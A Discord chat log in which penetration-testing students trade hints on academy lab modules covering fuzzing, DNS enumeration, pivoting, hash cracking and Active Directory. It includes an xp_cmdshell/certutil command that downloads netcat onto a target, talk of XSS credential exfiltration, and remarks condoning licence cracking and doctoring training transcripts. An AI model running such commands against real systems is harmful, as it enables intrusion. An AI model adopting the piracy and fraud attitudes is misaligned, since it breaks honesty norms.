#modules
1 messages ยท Page 22 of 1
i think because the academy is paid content, only the tier 0 modules are allowed public walkthroughs
Hi I am doing footprinting hard lab, figured out that snmp server is v3 but cannot find commmunity string..used onesixtyone with snmp seclist but nothing only got ,,linux nixhard 5.4.0_90 generic #101 ubuntu smp but no community string...and I could also interact with imap and pop3 servers but not sure what commands shall I use on Imap..or am I on a wrong track? Donnot know from where can I get the rsa for ssh...
yeah module writeups would be pretty anti-thetical to the purpose of the modules
not like challenge boxes where a writeup might teach you about a new technique or attack. The module already does that, you just have to apply it.
Is this the right place to post questions about module exercises?
I'm super stuck.
I mean looks like ya got it to me
It asks for the version for service running on 8080. Looks like Apache Tomcat/9.0.31 is running on 8080 but it says that 9.0.31, 9, 9.0, Apache Tomcat, etc are all wrong
same. that's why I'm so confused
which module/section are you on? I'll review it real quick
Youre awesome. Getting Started - Service Scanning
ah gotcha, yeah the Apache Tomcat youve tried is correct. If you copy pasted make sure you didnt accidentally include and extra space somewhere
9.0.31 gives me an error...
well thats not the one I said was correct so lol
rekt. Thanks for confirming I'm not crazy. Must just be a bug on their end.
99/100 times its just an errant space from copy paste
its a strict text matching ๐
Well I got the student membership sometimes I get stuck but don't have the time to try every method and option
Or I find out that I had the answer the whole time I just wasn't pasting the whole thing
Dont take me the wrong way here, but thats a very poor way to approach the material
It isn't if you study
itll bite you in the foot come skill assessment or exam time
The whole point is to learn how to use the tool
So that I can start using it an real engagements
That's what I've been doing
not really, the CPTS is focused on TTPs
Okay then what should I do
but lets say your way is right, copy pasting things isnt really learning the tools either
If studying and applying the material in real scenarios isn't enough
Wdym copy pasting?
Im just quoting what youve said my friend
wdym by not having the time to try every method and option then? before I criticize that specifically and you actually meant something else
No I think you understand what I mean by that
I try quite a few different methods
And then I try what the module is asking in the directions
I get stuck
And look it up
Well
I try to look up guides on how to use x tool first
Then I start looking for write ups
ah well, part of the whole cpts and teaching TTPs is comprehensive approaches. Enumeration is key in the real world and it applies here too. You should be trying everything because in the real world your job may literally be trying everything. Red teams can be a little different, but standard pentests want a comprehensive approach. They dont want to know just thr one way you got initial access, they want to know the myriad ways of getting initial access for example.
Yeah I definitely agree with you but I usually just have so many other factors I'm dealing with
I prefer this kind of self education
But
its a demanding field
I'm also taking 16 credit hours
Along with a part time job
I just feel like I'm wasting my time when I look at
Estimated time:45 min and I've spent like
2 hours on it
It's discouraging I guess
I feel it, but its not something you can shortcut and do well on later
dont worry about the time estimates, theyre all bullshit
the 41 days or so overall estimate btw is assuming 1 day = 8 hours of active work for each day
the first dude who passed the exam already had half the modules done cause of the CBBH and had full time security job and still took 49 days to complete the rest.
Ive had days where I blitzed 3 modules in one day, and then 2 weeks on a module that says 2 days.
Damn okay that's a bit relieving lol
I literally do not look at the time estimates at all
Alright I appreciate the advice man I'm gonna go back to htb and try my best
good luck
I made it a lot farther on tryhackme
Only cause they have a write up for every activity
remember the golden rule: HTB easy is THM medium/hard
I think you got that backwards
this platform is just objectively more advanced in difficulty than THM
I breeze through thm
Yes thats what Im saying
Okay
"easy" ranked HTB content is more equivalent to medium or hard ranked THM content and it only goes up from there
and cpts is a whole mix of easy and medium modules
Sorry had to do something @thorn urchin
Do you have any suggestions advice on where to start in Red Teaming
On htb
I mean the cpts itself is a good start. Theres also the pro labs that are whole simulated networks so theyre really good. Dante in particular gets heavily recommended as extracurricular exam prep after youre done with the modules.
Difficulty with red teaming specifically is that theres a slight shift of general approaches and goals compared to regular pentesting, and so a lot of educational content is ill suited for it. A lot more of like C2 domain name preps, EDR evasions, phishing, state of the art attacks like ADCS attacks.
Dante yeah me and a buddy were planning on doing an engagement on dante
id focus more on nailing general pentesting stuff before worrying about red team content. There is no real jr red teamer that isnt already senior pentester basically lol
Ah alright idk I've just heard a lot from friends in the field
You don't know who has the best advice on all that but I agree
no worries mostly Im parroting what Ive heard as well
I think I should study more tools in pentesting before attacking ADs
CPTS modules have a couple excellent ones dedicated to AD anyways
the Active Directory Enumeration and Attacks module is a mammoth, expect to spend a lot of time on that one
30+ sections lol
Dumb question but what are CPTS
its the HTB certification
if youre doing modules youre typically on either the CPTS or the CBBH paths for their certs
CPTS is meant as a competitor to the OSCP
Thanks for all the advice man I didn't know that I'm definitely gonna try pursuing that as my self education goal now
I wanted to take the oscp down the road
But if I can start studying it now that'll definitely help a ton
np, typically in this channel the assumption is that youre going for one of those two
The cbbh path is bug bounty I'm guessing?
yeah, greater focus on web app pentesting stuff
Is there a equivalent of that cert?
Like the oscp
Web app pentesting sounds like a nightmare to me
I think portswigger has some certs that are comparable or even more in depth(theyre the burpsuite guys afterall). Other than that the only ones that come to mind are pretty minor stuff
offsec do OSWE as well
but yeh portswiggers web security academy is amazing
and they have a cert for it now
oh yea their cer is going to be $9 on black friday so i'm definitely going to do that cer in a few months
they were doing it for free when they released it
problem is you need burp pro
so its not really free ๐
does burp pro still have lifetime licenses?
cause tbh if youre gunna get serious about web app stuff, its really not a bad pickup
ah yeah oof
God mother fuckin damn
400
How much was a lifetime license when they were around lol
nope it's $449
I mean the price is still worth it if youre super serious, its pretty clearly the most powerful web app testing tool around
has anyone done hashcat module?
yeh if you doing bug bounty or web app pentesting professionally youd be silly not to get it
I know they used to be pretty chill about cracking it on the basis that if you had the skills to do so youve earned it, but I doubt they still have that unofficial policy anymore.
or maybe Im thinking of ida, memory could be fuzzy
How do you know if pentesting/red teaming or web app pentesting and that is for you
Everything else Ive been doing in life just doesnt feel as fulfilling and feels like I'm wasting my time
Learning both IS pretty practical, but specialization helps a lot
@lament tartan can u help me with last question?
last question asks for the password i get 5 times, the problem is i got more than one five times and i've been stuck there for a week lmao
oh sorry i havent done the module ๐
thought you meant hashcat section of the CPTS track
if you shot me a giftcard for the cubes id take a look at it and help out in a couple of days ๐
jk dont do that
@sly reef so the skill assessment? (i finishe that module btw)
after cracking the hash did you use the DPAT tool?
nope
yea... use that
@lament tartan hei, how do u transfer a directory to the attacked machine because scp is not working
oh you don't need to crack them all
the given NTDS.zip file? you can just ues wget
i normally use wget or smb
oh you can get the most common password without cracking 100% of the hash i think i didn't even come close to 60%
can u tell me which one you got? Idk what i am doing wrong
i've been trying for a week now
lol
also i'm not 100% sure about this but i think they did add some uncrackable hash to make this realistic
use the DPAT tool (with your hashcat.potfile)
@lament tartan @vital adder thanks
oh rdp as well, if you can enable it then just copy and paste the dir
if youre a renegade that doesnt care about opsec, xfreerdp has the +home-drive option that will mount your home dir for easy file transfer as well.
i think it depend on if you can crack a tool like burp, if you can then i think you're earned it but if you just download other people crack then 100% not also i think STรK did talk about some of the crack (but i got brain damage from htb so not 100%)
oh nice i think this did get cover in the file transfer module or something
oh definitely. Ive looked at the jar file before out of curiosity but conveniently the license key sections dont decompile properly with the public decompile tools, which definitely makes it non trivial too ๐
theres binary versions as well Ive not examined at all
its one of the reasons that I know people who say reversing java is easy you just decompile it have never tried reversing anything other than a trivial java jar
Got it. Where can i suggest a correction for the module? #858470491676737536 ?
thanks btw
Hi there guys having some trouble on Attacking Web Applications with FFUF
Try running a VHost fuzzing scan on 'academy.htb', and see what other VHosts you get. What other VHosts did you get?
I'm using the command:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://178.62.84.158:30146/ -H 'Host: FUZZ.academy.htb' -fs 900
It detects everything ๐ฆ
your fail condition is probably faulty then
+1 this
see what result you get back with just the academy.htb and one with like a bogusobviouslynotreal.academy.htb and see if you can spot a difference in their response and use that
yeh filtering response size 900 there, if the response sizes vary then you can filter by response code or regex
the regex option often doesnt work for me on academy though, even when i can see the text in the response
Yea, just followed what madf0x suggested and it worked, i'm going to try the other filters Crypto, and see how it pans out
Do paid tools like Burpsuite Pro have these kind of functionalities ?
an auto calculate fail condition would be a cool feature to add to ffuff(assuming it doesnt have one already built in somewhere deep down)
yeh burp free does as well, its just severely throttled ๐
also gobuster, idr if it auto-detects or not for vhosts though
yeh you can use --exclude-length option also with gobuster
Someone got a tipp for the easy lab on password attacks? i got the ftp login and im now logged in as mike in ssh but i dont find anything of interest on the system
@zealous belfry use ls -la maybe u may see something interesting
already did but did not see anything there
think of the basics first. What has that user done recently ๐
ya okay got it well i found that earlier but it didnt came to mind to just use the pw for ssh login
ยฏ_(ใ)_/ยฏ
dont worry, my notes has me embarrassed on that one that I overlooked it until linpeas pointed it out
damn ๐
Is anyone else having trouble spawning targets?
hello, good day...someone has made the web applications module...because the answers of the mini-exercises are not clear to me which url I have to do the tests
gunna need to mention the specific module and section name to get help, lots of web app modules
which question youre on will be ideal as well
Hello. I am stuck with XSS Phishing...i found the payload and it works, but i don t understand how to get the username and password of the victim. Please someone can helps me?
Ive not done that module yet but my first guess would be to check if theres any cookies or form fields that may store that info and exfil those with your payload
Anyone else having issues with interacting with machines?
do you know where i can find a walkthroughts for this module?
Usually walkthroughs are frowned upon if not banned for modules
the module IS the walkthrough, where the skills assessment is you applying what has been taught
might get better help after someone whose gone through that module gets online
Sent ya dm
no thanks
@thorn urchin Did the pivoting module give you any trouble? Yesterday I couldn't get meterpreter to connect at all. Today it seems like I can't even reach the vm on both pwn box and my machine.
nope
someone else said they were having issues with machines earlier so something may be funk
I havnt had a chance today to spin up and modules to see
Werid, when it was working yesterday I couldnt get metasploit to open a socks server either
kept opening and closing
that module overall was kinda funky, but I didnt have those kinds of issues
also ngl, I cheated like half that module using more chisel n stuff than some of the more imo silly stuff.
Why
Itโs about the previous module we talked about
oh shoulda lead with that lol
Lol well the hashcat takes longer than expected
Welcome to cracking hashes 
Lol๐ข
Would be super sick to get a hash cracking rig
i learn this on tryhackme throwback lab a while back but there is something call colabcat that's basically cracking hash using hashcat on google colab but now i think that's against google colab TOS but the tool is still there and you can still use it
@thorn urchin Yeah its crashing on me constantly for what ever reason
guess im going take a break tonight
there ain't no rest for the wicked
Can I text anyone regarding WebAttack Skill assesment
Whatโs also really cool are automated hash-cracking methodologies.
Makes life so much easier
A hint for the medium pw cracking lab? Logged in as ||john|| already and got the docx file open but i dont find || any databases, scripts, or ways to get root or the user dennis||
i am stuck in the section xss phishing...The exercise ask this: Try to find a working XSS payload for the Image URL form found at '/phishing' in the above server, and then use what you learned in this section to prepare a malicious URL that injects a malicious login form. Then visit '/phishing/send.php' to send the URL to the victim, and they will log into the malicious login form. If you did everything correctly, you should receive the victim's login credentials, which you can use to login to '/phishing/login.php' and obtain the flag. I found the payload but i don t understand to who i must send the url to get his username and password
||there is a simulated user that will submit the form if you sent the correct payload||
aaaah so the payload is wrong good
Read the question more carefully :).I'm sure you can find the answer
Hi everyone! I was wondering if anyone could provide a nudge about the cleartext credentials for bob_adm in the windows privilege escalation module
get a nudge on this
What is the ObjectAceType of the first right that the forend user has over the GPO Management group?
i have ran everything in powershell and bloodhound. Powershell just hangs up and I don't get anything back.
its not hanging, it just takes a REALLY long time to finish
and unfortunately I don't believe bloodhound records the answer in the format the question wants, I couldnt find a way to get what it wanted anyways
Password Attacks Module: I have am stuck when I try to install Crackmapexec (I'm on Network Services) I had tried both install it with Apt install and PIP / PIP3 install and I have no clue what I have to do (see my screenshot)
why you trying to pip install it
use apt on kali
see if you have the libs installed apt-get install -y libssl-dev libffi-dev python-dev-is-python3 build-essential
I hse Parrot Sec OS
After I run your commands and try run crackmapexec smb -h I get this Error message
im not sure if you can use apt on parrot then. Apt and crackmap is as far as i know is kali only
https://wiki.porchetta.industries/getting-started/installation/installation-on-unix take a look at installing from source probably thats going to work for you
Installation of CrackMapExec on Unix system
if youre using the pwnbox it should be already installed, you can also try pipx install crackmapexec
yup thats also on the page furhter down if you like python more
cme is written in python, you dont have a choice in the matter ๐
just whether apt is handling the package or pip
you can also use poetry
I get same error on Pwnbox
if you are running the command as shown then thats wrong
pwnbox calls crackmapexec cme
@thorn urchin I sent you a DM if you donโt mind
when I run crackmapexec smb -h I get same error on Pwnbox
bout leaving from work, be awhile before I respond
in pwnboxsudo cme smb --help
like I said, its preinstalled as cme
okey I try it then
if that doesnt work something may have broke when you tried installing it so reset the instance and then try cme
When I try use sudo cme winrm on Pwnbox I get this Errormessage
am I the only one who likes nano more than vim
I agree nano is very nice to use, but vi is more common a server have installed by default
You actually just sovled a problem for me and you didn't mean it haha
When I try use sudo cme winrm on Pwnbox I get this Errormessage. Anyone have any idea or hint ?
That is a warning message about blowfish being deprecated. Warnings aren't as severe as errors and we frequently ignore them.
@zealous belfry @thorn urchin I solved it! Thanks for your help ๐
@sharp cove @languid dawn
Thanks for the heads up!
Good evening / morning
No
google is your best bet
is anyone up for a challenge?
hello, i have windows 11 pc and 4 random preson google profiles, all be hacked in two days
strong passwords, now i set f2a, but think something is my pc
a have some cracked software
adaware free scan says all ok
but i wanna format system disk a clean windows install withou any cracks
Hi did you have any luck with this? in the same boat....... sorted
@onyx copper were not tech support, good luck
Can someone help on attacking common services - skill assessment easy. I found the username from SMTP and tried to brute-force it with various services, but I found nothing.
@orchid ingot anonymous login on ftp may help
new info google spoted my pc as malware and logout all 4 person from pc
on another devices acounts works normal
i remove addblocker from chrome extensions
Hello guys if someone have attaque the squashed machine in hackthebox i need a help
I can t decrypt the keepass file
With an extention .kdbx
hello
Hey
hi
Any advice for getting started on CTF? Any good books? Im stuck and i dont have knowledge to find some flags.
Hack the box academy will be the best place
depends abit on what you know but they ahve a great lead up for it
HTB Acadamy, i just rooted my first box through it
Nice job live one?
Its such an awesome feeling
nibble box
its though the getting started module
but its a live machine too i think
Okay, so have run into a problem. I currently use/have used kali for a while and I'm getting 100% different responses with a dig command.
I've just fully updated kali, and I am still getting "communication error / timeout" when attempting to solve a problem in active subdomain enumeration.
example just for reference:
- Submit the FQDN of the nameserver for the "inlanefreight.htb" domain as the answer.
Kali: ||dig ns inlanefreight.htb @<ip>||
Response:communication error to <ip>#53: timed out
Parrot: ||dig ns inlanefreight.htb @<ip>||
Response: ```; <<>> DiG 9.16.27-Debian <<>> ns inlanefreight.htb @10.129.42.195
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3105
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b2dec93a1964fb15010000006378bc6492c78e95d88c46c8 (good)
;; QUESTION SECTION:
;inlanefreight.htb. IN NS
;; ANSWER SECTION:
inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.
;; ADDITIONAL SECTION:
ns.inlanefreight.htb. 604800 IN A 127.0.0.1
;; Query time: 83 msec
;; SERVER: 10.129.42.195#53(10.129.42.195)
;; WHEN: Sat Nov 19 11:22:12 GMT 2022
;; MSG SIZE rcvd: 107```
I have full disconnected/ reconnected my VPN when testing and I'm really unsure why in Kali I cannot get the same response or what I might have messed up. Would love some help / clarification before future problems arise regarding the same thing.
Hi, maybe weird question but are their pdf extracts of the text we can download to print? I am a terrible learner on screen and for example all the AD knowledge is just not getting in my mind by reading it on screen (can't doodle/note next to it as to speak)
Hello I have 2 questions for active directory. I try with kerbrute jsmith.txt password list how can i save the result easily. Why on crackmapexec and kerbrute they stop enumeration when they get 1 valid users ?
HI
Hace you tried downloading a new vpn file ? And change the protocol to connect?
You can maybe try connecting to another region
I havent ill give that a go
Let me try
Installing new kali box atm i walked aaway for a bit so trying it now
On the Pivoting Module is anyone else unable to get a socks server running via metasploit? I've tried now on both my Kali Box & Pwnbox and I get the same thing
Shouldnโt you set your SRVHOST to local?
in the module page they show 0.0.0.0
let me try that real quick
Nope tried localhost and 127.0.0.1 as well as swapping to version 5 (and editing proxuchains.conf)
BYE
I mean the ip of the machine from where you are listening
Do you mean the one facing me or the pivot target ?
Facing you
In the end the server will be listening
So the ip of that server has to be you
Is like nc -l
Similar not the same
im guessing using 127.0.0.0 would fail on my kali because it has to route via the tunnel
but the pwnbox does not and 127 should work, either way every tutorial I can find seems to have it pointing to 0.0.0.0
goddamn inside job is good
@pastel ginkgo shoot me a dm if you still need help with that i'll help you troubleshoot
Thanks! I got it working on Pwnbox so now im going to try on my Kali box
Hey @vital adder can I dm you real quick?
sure
I'm experiencing the same thing. I'm on the guest Parrot OS and I've double checked that the syntax is fine and that the ip is spawned
Yea i reinstalled kali
works perfectly on Parrot OS but not working at all on kali ๐ฆ
Have fully reinstalled / updated/ moved to vmware workstation 17 as well just no go for all of it:(
Yeah I reset the workstation and refreshed the ip a few times and nothing
what is this
Active subdomain enumeration might actually be the death of me. I cant be this stupid to not understand and struggle on every question....anyways
1.Find and submit the contents of the TXT record as the answer.
so I used ||dig axfr inlanefreight.htb @<ip>|| to basically enumerate all the subdomains. From here it seems that I should be able to use something like dig txt <subdomain>.inlanefreight.htb @<ip shown from subdomain enumeration>
I cant figure out waht i'm doing wrong i've gone through every single one in this manner and am not getting a TXT response from any of these.
@low vine try on internal maybe
I guess I missed that
So its not the ip thats shown from the transfer?
Example the IP i have for HTBA is 10.129.xx.xxx
The enumeration shows ips next to the subdomains of <10.10.34.2>
@low vine no
My mental is dying in this section lol this seems so fucking easy and I'm having such a hard time lol
need to spend a bunch of time here lol
Okay other question, question before its talking about zones and identifying the number of zones we have. I basically saw that there is an "A" record and a "NS" record does that mean its only 2 zones or is my understanding wrong
Hi guys, having some trouble with Parameter Fuzzing - GET section on ATTACKING WEB APPLICATIONS WITH FFUF module.
I'm not sure i'm doing this wrong, but i added the IP 178.62.84.158 and admin.hackthebox.htb to the /etc/hosts/ and i'm trying to run the command
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.178.62.84.158:30633/admin/admin.php?FUZZ=key -fs 341 yet it doesn't return any results
Should i add the 178.62.84.158 and academy.htb since admin is a VHOST?
Got it, needed to add the following input to /etc/hosts: SpawnMachine academy.htb admin.academy.htb
@low vine u will need to count all zones
Okay thanks for clarification, I got it right but wasnt confident that I actually knew how to correctly do that
Hello there, i really stuck with a problem...
Module: PasswordAttacks -> Default Passwords
I know I have to use to Default Cred link provided, but im not sure how to scan using hydra.
The Port i try to Bruteforce is on localhost, so I can't attack this service using its 10.129 IP.
I tried using ssh Dynamic Port Forwarding with Proxychains, but hydra stops after 1sec because of connection error (But nmap works...)
How to brute force this localhost service ?
@rustic sage u don't need to brute force defualt password
now im totaly lost xD any hints ?
Struggling hard on last question for All of the "A" records from all zones.
is there a way to recursively output everything?
or just manually go find it all
@low vine do zone transfer on inlanefreight and internal inlanefreight.htb and count all A
Yup it's what I did was more asking if there was a way to set up something to run some transfers from everything
And output it
Wasn't sure if I was just missing something
@low vine it is hard to do that since i think u can not do zone transfer on sub domains with bash scripting
Wow im rising to new levels of stupidity
Im doing the command injection assesment
Busy with it all day
Try to succesfully inject whoami with different techs
But got error unable to move www-data
So i thougt fuck what al i doing wrong
Spend 2 hours
Untill i realised
โฆ
Www-data
Tunnelvision can make you blind
Yeey another module completed
Hello
Can you help me in module Active Directory
Skills Assessments 2 I stuck at the 4 question
hey all, new module posted today.
Hi
On the Active Directory Enumeration & Attacks module Kerberoasting -from linux Section, was the password to use for impacket??? Trying to use GetUserSPNS
Not the example user
Hi everyone
I don't know what you mean by this
Choose an user you have already used in the module
Hey guys evening
r u ok bro?
@raven cairn for this module its highly recommended to keep a seperate list of all credentials youve found while progressing through the sections, because they come up again a painful number of times and the module wont always remind you.
I use password spray with user list and password basic list but none results
hi all, im on the footprinting medium lab and a little stuck ive tried everything (i think) so far on each port but unable to get much further just need a bit of a prod into the right direction... i believe i need to mount? right done that bit. lol
sure dm me.
i have a question to the modul local file inclusion..in the section automated scanning they use this command:
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
this does not give the same output as explained in the modul... when i go to the page there is no button to select language...buit there should be one... otherwise for me it makes totaly sense that the curl command does not work as explained...
there should be the possibility to select the language..no?
Well try look for the parameters name
If it is not language
Try first fuzzing for a parameter bro
Reading bro
Read before ask
๐
๐
Hi all, Footprinting medium lab. Ive done the NFS but cant open the Dir ive made. permission denied. on tree says [error opening dir] what could be the reason?
you don't understand my question
uff...i am not sure if i can remeber right.... you looged in via rdp with the credentials? Try to login as admin via right clik might help..but it is a time since i've done this...otherwise dm me...
I havent yet found the creds...
ah...
I believe I'm meant to get them from this Directory ive made but since mounting and that I can no longer access this dir
so i cant view the information inside and unsure how to change it
||su root||
password? xD lol
remember the whole big issue with NFS is that it respects your local machines perms
on pwnbox theres a credentials file on the desktop, or you can always sudo su
i never knew that
ill have a look now thanks
ok that worked thank you
You are saying that you cannot find a language button. That is because it is not there
They want you to find a exposed parameter
So fuzz the parameter and filter on the right filesize
I try to help
For the Proxychains module did anyone get Rpiviot to work? I just used sshuttle for the last question because it was ... wayyyyyy easier
i apreciate it. will do it
Damn cannot complete more then 2 section of introduction to ad per day
A lot of text
Hello and help lol. Im stuck at "Firewall and IDS/IPS Evasion - Medium Lab"
the question goes like this ```Questions
Answer the question(s) below to complete this Section and earn cubes!
Target: 10.129.130.173
Time Left: 46 minutes
- 1 After the configurations are transferred to the system, our client wants to know if it is possible to find out our target's DNS server version. Submit the DNS server version of the target as the answer. ```
i tried everything yet have nothing
most likely i was stuck at the easy lab too. but with some help i got it but 2nd one is deadly idk what to do tbh 2 days or so stuck here
What is the standard protocol that DNS uses?
@acoustic owl can i pick your brains with SQL database locating a user?
sure
@gaunt juniper check the DNS Proxying section in the โFirewall and IDS/IPS Evasionโ topic
how? lmfao
footprinting medium lab
im right up to the last part now
and no idea how to locate the user/pass
Do you have access to the database?
@rustic sage what do you get when you do select name from sys.databases
keeps crashing too which is annoying
then you only have to query the table in the database.
||SELECT * FROM table WHERE username=โHTBโ ||
i did, tried everything comands read about 4 times
lol
@gaunt juniper I think this one I got it by luck. It wasnโt working and I just did a normal nmap -p- with a โmin-rate 5000 and it worked. But I donโt think it was supposed to work
Which protocol are you trying?
Anyone around for a question on the medium lab for the footprinting module?
I've found credentials from ||nfs port, for what should be rdp, but the xfreerdp keeps returning the following error||
Any help on connecting to rdp would be greatly appreciated
Put the password in quotes to keep bash happy and hide the screenshot with the credentials to avoid spoilers
+clipboard in the xfreerdp command is also helpful
hi
Does anyone have an idea on how to check what commands an user can run as root
I'm doing the Linux PrivEsc module
I've tried doing sudo -l and then submitting the command that says (root) NOPASSWD: /usr/bin/******* and various variations of that command like sudo (command) as the answer
Anybody got an idea of what might be the problem
||try the /usr/bin/** again and make sure you have no extra characters or anything||
thank you
yw
Hey guys, I'm learning in the HTBA, im wondering if I need to use parrot or is it ok to use Kali? Appreciate the advice, my goal is to get the pentester cert in the coming year so not sure if the OS will matter
kali is fine to use
@balmy radish Ty sir
You'll need to connect to the VPN for the non-docker exercises if you aren't using the ParrotOS pwnbox
yw
Ok sure, I think I had been planning to connect to the VPN most of the time moving forward as I feel more comfortable working in my VM instead of pwnbox.
@balmy radish Im working through the setting up module, and they have a recommended tool list file, is this just an example of what we should have or should we actually have all these tools in the file? As I see a step to update all tools in a certain file
Hopefully that makes sense ๐ตโ๐ซ haha
You can always install the tools as you need them. I mostly use the pwnbox.
Roger
You have finish AD Stills Assessments part 2 ?
Okok im stuck at the 4 question but we can see together if i finish it or come in dm
hey can I reset the progress of the module? I have one that I've started long ago and want to jump with fresh state
Hey, I'm stuck on the deserialization - Skill Assessment I. I guess I'm stucked with the last exception to escape for my payload, someone can help me ?
Yes if you click on a module (you've already completed), you'll see a button for Retake Module.
and if i didn complete? I have it like halfway through
didnt see such option
I donโt think there is a way unless you see that โRetake Moduleโ button.
Hi, I have some problem with Blind Data Exfiltration from Web Attacks module
I could not get any response from the server
Thanks for the tip, giving that a go!
Cancel my message im gonna just try to re-read all my notes n stuff.
help me Find a way to start a simple HTTP server inside the PWNBOX or your local virtual machine using NPM. Send a command that launches a web server on port 8080 (use a short argument to specify the port number).
What have you tried? Have you tried the man pages? Have you tried looking up how to do so on a search engine?
I wrote teams. but alas does not miss
I recommended for them to use a search engine already.
You don't learn anything if we just give you the answer... Try doing some research and we can nudge you in the right direction if you still need help
Im gonna put my ego aside actually for this - seems people have had issues in the past
Its a badly worded question tbh
I dont think it is unreasonable to find this question confusing if you are a beginner
Can I have a hint for Privilege Escalation - Flag 2
I'll give some context, one moment
I think I was answering your question before you deleted it.
I usually really hate asking for help but
I think I really need to just kind of accept it, I don't think im the only one struggling being new to it
I don't know the specific module, but have you looked for any interesting files? Are there any SUID, GUID, capabilities? See if you're apart of any interesting groups
It's okay to struggle just never give up๐
Also take a break when you get flustered : )
Im too stubborn for that aha-
I haven't been giving up- ill check for files
I think I found passwd earlier but it's just nonsense, nothing to decode
I haven't done the privilege escalation modules yet so I can't really be of much help besides telling you what to look for๐คทโโ๏ธ I just started the CPTS path, but it'll be a while before I get there
This is "Getting Started" ^^;;;
ahh okay I went ahead and figured out the answer
What?!?!
That quick?!...damn ;-;
so there is something you're missing I'm trying to think of how I can word it where it won't give it away
I'm going to dm you in case so there is no spoiler
@rustic sage what is the problem
okieokei!
It's privilege elevation, im stuck in a loop of not being able to do anything with user2, I've found the file but keep getting asked for a password and can't find anything important, and the SSH keys are going over my head (I think)
Check your DMs @rustic sage
Hey has anyone gone through the file transfer module?
Just started โฆ I see I need a bit more familiar with powershell
Guess bash too right?
Any advices?
Thx!
Linux or windows?
I already help them they should be good now๐
Okii
now I have to figure out keys 
Hello everyone, in AD skills 2 Q7. I tried this:
SQL> xp_cmdshell powershell.exe certutil.exe -urlcache -split -f http://10.129.8.49:8000/nc.exe C:\Users\Public\Downloads\nc.exe
output
But: CertUtil: -URLCache command FAILED: 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)
How can i do ?
I supposed its a restriction error ?
Hey, I'm stuck on the deserialization - Skill Assessment II. I dont really know what i am doing wrong, someone can help me ?
Hey guys wat is nmap -D rnd:x for?
from my understanding it just creates extra
ip addresses
that send the same packet you do
to create some anon
for you
I got a gift card and redeemed it. But i cant spend it even though my account balance would cover a silver subscrbtion. How can I spend it? xD
@bleak heart buy silver subscribtion
"You need to add a payment method to purchase cubes. " but I dont have paypal or a credit card and therefore can't add any other payment method than the gift card. If I click to subscribe I'm asked to enter my credit card info. Do I miss something or is it not possible to buy anything from the account balance if you dont have any payment method added?
and I cant enter the gift card code during checkout because I already redeemed it (the money is stuck in the account balance) ๐ฆ
@bleak heart if u cannot buy silver without credit card that is hard maybe u will need to pay cubes only with that gift card
its a little more ecconomical to get the platinum plan for like 2 months then downgrade to silver or student get more cubes for less that way,
Heyo i need some help with last flag of the deserialization attack module, if someone can help pls DM me
May I have some help with Reverse Shell & Payloads - The Live Engagement? Iโm receiving an exploit failed message when attempting to run the exploit for the blog site.
Make sure to check the IP address you are using before launching the exploit.
Thank you for the feedback @unique valve ๐ I have confirmed I am utilizing the correct ip address of the blog site. It is a โNoMethodError undefined method โsplitโ for nil:NilClassโ message.
Also confirm that you are using the correct LHOST address. Keep in mind that in this assessment you are connecting to an additional internal network.
Once I get past Information Security Foundations, I was thinking of doing bug bounty pathway before doing CPTS. Is that a bad way to go or should I do CPTS first? Iโm a student who wants to bug hunt but I also want to be a pentester someday.
I started the InfoSec fundamentals path to get prerequisites to do either
Anyone else encounter this error when trying to do the chisel section of the Pivoting module?
@rustic sage Did you figure it out?
No
Yes but i relaunched my kali and try in the parrot and it resolve it idont know how
can you help me
hi, please when start the competition of Hack the Box ?
There is no LHOST option for this exploit and just an LPORT. I also changed the LPORT to a verified open port on the box but that didnโt help either.
Werid I got it to work when I built chisel on their machine and put it on the ubuntu server and it then played nicely with both my kali machine and theirs
yes maybe a bug ?
yeah Im thinking something just wasnt playing nice with my kali box. I've noticed theres a few bugs with this module
Yeah i remember i have changed few times kali and parrot for this module and it solve big
bug
Some box work better with kali and some box with parrot 
how did you solved it?
Hey guys im trying the Passwords Attack Module from the Junior Path, and I dont understand this question.
Find the user for the WinRM service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.
The module provides a list of both usernames and credentials as Resources, but when i try to use them, im unable to do a sucessful brute-force. Is there anything that Im missing? Is there a way to get the user whitout having to brute-force both user and password?
Did you have issues with the Windows RDP tunneling? I try and load the dll and it returns an error code. || I already disabled AV ||
@pastel ginkgo are u on pivoting module
Yeah the last part before the assement
@pastel ginkgo have u done rpivot section
@pastel ginkgo I have failed to transfer rpivot directory so i have not solved it maybe i will try to use sshuttle
@rustic sage I havent gotten there yet. Im stuck on the 5th question in AD assesment 1
which section of the module?
whats the section name that you are stuck on in that module?
I could likely help ive finished that module
@thorn urchin Were you ever able to do the RDP pivot of the pivot module correctly? For what ever reason traffic isnt running over proxifer ๐ค I got the flag but that was rdp from one machine to the next not via the fancy proxy
nope I did it your way too
fwiw Ive never heard of anyone actually proxying that way IRL
rip this module is probably the buggest one yet
half the time im not sure if im not doing right or its bugged
yeah its my second least favorite module so far, though the chisel section carries the whole thing on its back because chisel is just that good
I added notes about cross compiling and smaller bin size and that was helpful
the issue I ran into with it is if I compiled it on my linux machine it wouldn't work on the remote machine. If I compiled from pwnbox it worked
yeah that idk
downside of sshtuttle is its not as flexible, wheras chisel can just be a pure socks5 proxy
Dm if you want
has anyone ever used these modules on HTB academy as CEU's when renewing Sec+
good question
I asked the same thing I need to pay for my CEs and find out
So after downloading my transcripts it dose not list # of hours, so I dont think it would be accepeted
its also missing date of completion
I think if you go into your dashboard and click on completed modules it does show your date of completion. Or you can "retake" the module and today will be your date of completion lol
now as far as the hours my freind think outside the box nothing a little adobe photoshop cant work out.
it tells you on the main page how long a module takes or "should take"
i was gonna try it out...i mean i used my college class as hours before...all i did was put the description...
Hi guys, I need help with the 'Working with rules' practice section in the hashcat module, please. I believe I'm doing what is being asked but am obviously missing something.
